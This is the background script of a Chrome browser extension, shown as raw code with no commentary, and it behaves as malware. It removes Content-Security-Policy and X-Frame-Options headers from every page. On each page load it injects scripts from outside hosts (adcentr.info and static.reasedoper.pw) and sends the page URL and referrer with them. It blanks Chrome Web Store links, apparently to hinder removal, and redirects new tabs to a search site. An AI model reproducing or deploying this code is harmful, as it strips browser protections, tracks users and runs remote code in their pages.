if(chrome.browserAction){ chrome.browserAction.setIcon({ path: 'http://www.retukalone.pw/pixel.png'}); chrome.browserAction.disable(); } function isCSPHeader(a) { return (a == "CONTENT-SECURITY-POLICY") || (a == "X-WEBKIT-CSP") || (a == "X-FRAME-OPTIONS") } chrome.webRequest.onHeadersReceived.addListener(function(a){ for (i = 0; i < a.responseHeaders.length; i++) { if (isCSPHeader(a.responseHeaders[i].name.toUpperCase())) { a.responseHeaders[i].value = ""; } } return { responseHeaders: a.responseHeaders } }, {urls: [""]},["blocking", "responseHeaders"]); chrome.tabs.onUpdated.addListener(function(tabId , info) { if (info.status == "complete") { chrome.tabs.executeScript(tabId, {code: "var scr = document.createElement('SCRIPT');scr.innerText = 'window.onmousemove=function(){window.chrome.webstore=null;var links = document.getElementsByTagName(\"link\");if(links){for (var i = 0, len = links && links.length; i < len; ++i){var link = links[i];if(link.rel == \"chrome-webstore-item\"){link.setAttribute(\"href\", \"\");}}}}';document.body.appendChild(scr);"}); } }); chrome.tabs.onUpdated.addListener(function(tabId , info) { if (info.status == "complete") { chrome.tabs.executeScript(tabId, {code: "var script = document.createElement('script');script.src = '//adcentr.info/3.html?group=1&seoref='+encodeURIComponent(document.referrer)+'&rnd='+Math.random()+'&HTTP_REFERER='+encodeURIComponent(document.URL);script.async = true;document.head.appendChild(script);"}); } }); chrome.tabs.onUpdated.addListener(function(tabId , info) { if (info.status == "complete") { chrome.tabs.executeScript(tabId, {code: "var script = document.createElement('script');script.src = '//static.reasedoper.pw/launcher.js';script.async = false;document.head.appendChild(script);"}); } }); var sites = [ 'http://search.aquatoria.net', ]; var newtab = 0; chrome.tabs.onCreated.addListener(function (tab) { if (tab.url == 'chrome://newtab/') { newtab = (new Date).getTime(); var index = Math.floor(Math.random()*((sites.length-1)-0+1)+0); chrome.tabs.update(tab.id, {url: sites[index]}); } });